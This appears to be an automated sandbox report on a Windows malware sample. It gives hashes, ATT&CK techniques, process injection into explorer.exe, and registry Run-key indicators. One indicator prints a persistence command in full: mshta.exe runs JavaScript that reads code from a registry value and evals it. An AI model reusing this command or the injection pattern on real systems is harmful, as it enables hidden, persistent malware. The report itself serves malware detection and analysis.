d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc

Analysis

max time kernel
138s
max time network
140s
platform
windows7_x64
resource
win7v20201028
submitted
20-11-2020 15:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe
Size

52KB
MD5

094312be0a71a292a4670bcda23b2500
SHA1

b2b465baee22889403ba48c0745d5d9643a45555
SHA256

d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc
SHA512

dbe5895339a06d806b240333dd4a0be2767c36833ad6860b396c6013ca4c8483395534fb68b4c709922d512cf61d23ee5410f99a3dd633e13d94f6a2f44523b9

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsStartmemt = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\Santa = "C:\\Windows\\system32\\mshta.exe javascript:x=new%20ActiveXObject(\"wscript.shell\");v=x.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\SMSvcHost\\\\ComponentID\");eval(v);"	explorer.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1808 set thread context of 1676	1808	d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe	29

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1808	d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe
1676	explorer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1676	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1676	explorer.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 1676	1808	d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe	29
PID 1808 wrote to memory of 1676	1808	d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe	29
PID 1808 wrote to memory of 1676	1808	d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe	29
PID 1808 wrote to memory of 1676	1808	d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe	29

C:\Users\Admin\AppData\Local\Temp\d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe
"C:\Users\Admin\AppData\Local\Temp\d88cb891d36dc09bb88fcef9fcb8ba6efe6f5034ae76e5b630ab86e54afff1cc.bin.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\SysWOW64\explorer.exe
  "C:\Windows\SysWOW64\explorer.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:1676

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1244-3-0x0000000002B10000-0x0000000002B15000-memory.dmp

Filesize
20KB

Download
memory/1676-0-0x0000000000100000-0x000000000010F000-memory.dmp

Filesize
60KB

Download